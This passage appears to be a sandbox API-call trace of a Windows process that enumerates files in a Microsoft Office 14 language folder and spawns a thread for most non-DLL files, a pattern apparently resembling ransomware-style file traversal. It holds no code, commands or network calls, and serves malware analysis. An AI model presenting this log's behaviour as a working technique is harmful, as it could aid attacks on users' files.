ftLastAccessTime.dwLowDateTime=0x506a3720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe4d7e200, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BW.CSS", cAlternateFileName="")) returned 1 [0055.626] wcscmp (_String1="BW.CSS", _String2=".") returned 1 [0055.626] wcscmp (_String1="BW.CSS", _String2="..") returned 1 [0055.626] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x5ed5328 [0055.626] wcscpy (in: _Dest=0x5ed5328, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0055.626] wcscat (in: _Dest=0x5ed5328, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0055.626] wcscat (in: _Dest=0x5ed5328, _Source="BW.CSS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BW.CSS") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BW.CSS" [0055.626] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ed5328, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa78 [0055.627] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb09b400, ftCreationTime.dwHighDateTime=0x1c55530, ftLastAccessTime.dwLowDateTime=0x506a3720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xeb09b400, ftLastWriteTime.dwHighDateTime=0x1c55530, nFileSizeHigh=0x0, nFileSizeLow=0x860, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALEVENT.VRD", cAlternateFileName="")) returned 1 [0055.627] wcscmp (_String1="CALEVENT.VRD", _String2=".") returned 1 [0055.627] wcscmp (_String1="CALEVENT.VRD", _String2="..") returned 1 [0055.627] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x446d48 [0055.627] wcscpy (in: _Dest=0x446d48, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0055.627] wcscat (in: _Dest=0x446d48, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0055.628] wcscat (in: _Dest=0x446d48, _Source="CALEVENT.VRD" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD" [0055.628] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x446d48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa74 [0055.629] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="CERTINTL.DLL", cAlternateFileName="")) returned 1 [0055.629] wcscmp (_String1="CERTINTL.DLL", _String2=".") returned 1 [0055.629] wcscmp (_String1="CERTINTL.DLL", _String2="..") returned 1 [0055.629] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49538400, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0xeec9ffd0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x49538400, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x4da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLVWINTL.DLL", cAlternateFileName="")) returned 1 [0055.629] wcscmp (_String1="CLVWINTL.DLL", _String2=".") returned 1 [0055.629] wcscmp (_String1="CLVWINTL.DLL", _String2="..") returned 1 [0055.629] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x5073bca0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x8990, dwReserved0=0x0, dwReserved1=0x0, cFileName="CMAXRES.DLL", cAlternateFileName="")) returned 1 [0055.629] wcscmp (_String1="CMAXRES.DLL", _String2=".") returned 1 [0055.629] wcscmp (_String1="CMAXRES.DLL", _String2="..") returned 1 [0055.629] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4d7e200, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x5073bca0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe4d7e200, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="COFFEE.CSS", cAlternateFileName="")) returned 1 [0055.629] wcscmp (_String1="COFFEE.CSS", _String2=".") returned 1 [0055.629] wcscmp (_String1="COFFEE.CSS", _String2="..") returned 1 [0055.629] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x12e08b98 [0055.629] wcscpy (in: _Dest=0x12e08b98, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0055.629] wcscat (in: _Dest=0x12e08b98, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0055.629] wcscat (in: _Dest=0x12e08b98, _Source="COFFEE.CSS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\COFFEE.CSS") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\COFFEE.CSS" [0055.629] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e08b98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa70 [0055.630] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62bc4600, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeec9ffd0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x62bc4600, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x35be, dwReserved0=0x0, dwReserved1=0x0, cFileName="CollectSignatures_Init.xsn", cAlternateFileName="COLLEC~1.XSN")) returned 1 [0055.630] wcscmp (_String1="CollectSignatures_Init.xsn", _String2=".") returned 1 [0055.630] wcscmp (_String1="CollectSignatures_Init.xsn", _String2="..") returned 1 [0055.630] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x96) returned 0x4ee978 [0055.631] wcscpy (in: _Dest=0x4ee978, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0055.631] wcscat (in: _Dest=0x4ee978, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0055.631] wcscat (in: _Dest=0x4ee978, _Source="CollectSignatures_Init.xsn" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CollectSignatures_Init.xsn") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CollectSignatures_Init.xsn" [0055.631] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4ee978, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa6c [0055.634] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x618b1900, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeecec290, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x618b1900, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x36fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="CollectSignatures_Sign.xsn", cAlternateFileName="COLLEC~2.XSN")) returned 1 [0055.634] wcscmp (_String1="CollectSignatures_Sign.xsn", _String2=".") returned 1 [0055.634] wcscmp (_String1="CollectSignatures_Sign.xsn", _String2="..") returned 1 [0055.635] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x96) returned 0x4ee8d8 [0055.635] wcscpy (in: _Dest=0x4ee8d8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0055.635] wcscat (in: _Dest=0x4ee8d8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0055.635] wcscat (in: _Dest=0x4ee8d8, _Source="CollectSignatures_Sign.xsn" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CollectSignatures_Sign.xsn") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CollectSignatures_Sign.xsn" [0055.635] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4ee8d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa64 [0055.636] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63409700, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeecec290, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x63409700, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x3f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="ContactPickerIntl.dll", cAlternateFileName="CONTAC~1.DLL")) returned 1 [0055.636] wcscmp (_String1="ContactPickerIntl.dll", _String2=".") returned 1 [0055.636] wcscmp (_String1="ContactPickerIntl.dll", _String2="..") returned 1 [0055.636] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73908200, ftCreationTime.dwHighDateTime=0x1ca7ab5, ftLastAccessTime.dwLowDateTime=0xeecec290, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x73908200, ftLastWriteTime.dwHighDateTime=0x1ca7ab5, nFileSizeHigh=0x0, nFileSizeLow=0x17b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="CT_ROOTS.XML", cAlternateFileName="")) returned 1 [0055.636] wcscmp (_String1="CT_ROOTS.XML", _String2=".") returned 1 [0055.636] wcscmp (_String1="CT_ROOTS.XML", _String2="..") returned 1 [0055.636] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x446cc0 [0055.636] wcscpy (in: _Dest=0x446cc0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0055.636] wcscat (in: _Dest=0x446cc0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0055.636] wcscat (in: _Dest=0x446cc0, _Source="CT_ROOTS.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CT_ROOTS.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CT_ROOTS.XML" [0055.636] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x446cc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa60 [0055.637] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecec290, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataServices", cAlternateFileName="DATASE~1")) returned 1 [0055.637] wcscmp (_String1="DataServices", _String2=".") returned 1 [0055.637] wcscmp (_String1="DataServices", _String2="..") returned 1 [0055.637] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x447870 [0055.637] wcscpy (in: _Dest=0x447870, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0055.637] wcscat (in: _Dest=0x447870, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0055.637] wcscat (in: _Dest=0x447870, _Source="DataServices" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices" [0055.637] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x447870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa5c [0055.639] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50787f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xcf98, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBENGR.VSL", cAlternateFileName="")) returned 1 [0055.639] wcscmp (_String1="DBENGR.VSL", _String2=".") returned 1 [0055.639] wcscmp (_String1="DBENGR.VSL", _String2="..") returned 1 [0055.639] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x12e08498 [0055.639] wcscpy (in: _Dest=0x12e08498, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0055.639] wcscat (in: _Dest=0x12e08498, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0055.639] wcscat (in: _Dest=0x12e08498, _Source="DBENGR.VSL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL" [0055.639] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e08498, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa58 [0055.640] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ea0a00, ftCreationTime.dwHighDateTime=0x1c32175, ftLastAccessTime.dwLowDateTime=0x50787f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x78ea0a00, ftLastWriteTime.dwHighDateTime=0x1c32175, nFileSizeHigh=0x0, nFileSizeLow=0x76000, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBSAMPLE.MDB", cAlternateFileName="")) returned 1 [0055.640] wcscmp (_String1="DBSAMPLE.MDB", _String2=".") returned 1 [0055.640] wcscmp (_String1="DBSAMPLE.MDB", _String2="..") returned 1 [0055.640] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x447b18 [0055.640] wcscpy (in: _Dest=0x447b18, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0055.640] wcscat (in: _Dest=0x447b18, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0055.640] wcscat (in: _Dest=0x447b18, _Source="DBSAMPLE.MDB" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBSAMPLE.MDB") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBSAMPLE.MDB" [0055.640] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x447b18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa54 [0055.641] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac531400, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50787f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xac531400, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x28178, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBWIZ.VSL", cAlternateFileName="")) returned 1 [0055.641] wcscmp (_String1="DBWIZ.VSL", _String2=".") returned 1 [0055.641] wcscmp (_String1="DBWIZ.VSL", _String2="..") returned 1 [0055.641] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x12e08518 [0055.641] wcscpy (in: _Dest=0x12e08518, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0055.642] wcscat (in: _Dest=0x12e08518, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0055.642] wcscat (in: _Dest=0x12e08518, _Source="DBWIZ.VSL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL" [0055.642] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e08518, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa50 [0055.643] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4d7e200, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50787f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe4d7e200, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEFAULT.CSS", cAlternateFileName="")) returned 1 [0055.643] wcscmp (_String1="DEFAULT.CSS", _String2=".") returned 1 [0055.643] wcscmp (_String1="DEFAULT.CSS", _String2="..") returned 1 [0055.643] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x78) returned 0x12e08418 [0055.643] wcscpy (in: _Dest=0x12e08418, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0055.643] wcscat (in: _Dest=0x12e08418, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0055.643] wcscat (in: _Dest=0x12e08418, _Source="DEFAULT.CSS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DEFAULT.CSS") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DEFAULT.CSS" [0055.643] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e08418, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa4c [0055.644] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f81800, ftCreationTime.dwHighDateTime=0x1c913a0, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x66f81800, ftLastWriteTime.dwHighDateTime=0x1c913a0, nFileSizeHigh=0x0, nFileSizeLow=0x19984, dwReserved0=0x0, dwReserved1=0x0, cFileName="Discussion.gta", cAlternateFileName="DISCUS~1.GTA")) returned 1 [0055.644] wcscmp (_String1="Discussion.gta", _String2=".") returned 1 [0055.644] wcscmp (_String1="Discussion.gta", _String2="..") returned 1 [0055.644] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x446ee0 [0055.644] wcscpy (in: _Dest=0x446ee0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0055.644] wcscat (in: _Dest=0x446ee0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0055.644] wcscat (in: _Dest=0x446ee0, _Source="Discussion.gta" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta" [0055.645] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x446ee0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa48 [0055.646] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45b12e00, ftCreationTime.dwHighDateTime=0x1ca99cf, ftLastAccessTime.dwLowDateTime=0xfd4b60d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x45b12e00, ftLastWriteTime.dwHighDateTime=0x1ca99cf, nFileSizeHigh=0x0, nFileSizeLow=0x587c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Discussion14.gta", cAlternateFileName="DISCUS~2.GTA")) returned 1 [0055.646] wcscmp (_String1="Discussion14.gta", _String2=".") returned 1 [0055.646] wcscmp (_String1="Discussion14.gta", _String2="..") returned 1 [0055.646] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x82) returned 0x417110 [0055.646] wcscpy (in: _Dest=0x417110, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0055.646] wcscat (in: _Dest=0x417110, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0055.646] wcscat (in: _Dest=0x417110, _Source="Discussion14.gta" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta" [0055.646] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x417110, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa44 [0055.647] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc800ef00, ftCreationTime.dwHighDateTime=0x1cab7d2, ftLastAccessTime.dwLowDateTime=0x507ae0c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc800ef00, ftLastWriteTime.dwHighDateTime=0x1cab7d2, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x0, cFileName="DL_RES.DLL", cAlternateFileName="")) returned 1 [0055.647] wcscmp (_String1="DL_RES.DLL", _String2=".") returned 1 [0055.647] wcscmp (_String1="DL_RES.DLL", _String2="..") returned 1 [0055.647] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0ff9500, ftCreationTime.dwHighDateTime=0x1c55530, ftLastAccessTime.dwLowDateTime=0x507ae0c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf0ff9500, ftLastWriteTime.dwHighDateTime=0x1c55530, nFileSizeHigh=0x0, nFileSizeLow=0x6bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="DOORSCHD.VRD", cAlternateFileName="")) returned 1 [0055.655] wcscmp (_String1="DOORSCHD.VRD", _String2=".") returned 1 [0055.655] wcscmp (_String1="DOORSCHD.VRD", _String2="..") returned 1 [0055.655] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x446e58 [0055.655] wcscpy (in: _Dest=0x446e58, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0055.655] wcscat (in: _Dest=0x446e58, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0055.655] wcscat (in: _Dest=0x446e58, _Source="DOORSCHD.VRD" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD" [0059.840] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x446e58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1098 [0059.841] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb117c800, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x507ae0c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb117c800, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xfd68, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRILLDWN.VSL", cAlternateFileName="")) returned 1 [0059.841] wcscmp (_String1="DRILLDWN.VSL", _String2=".") returned 1 [0059.841] wcscmp (_String1="DRILLDWN.VSL", _String2="..") returned 1 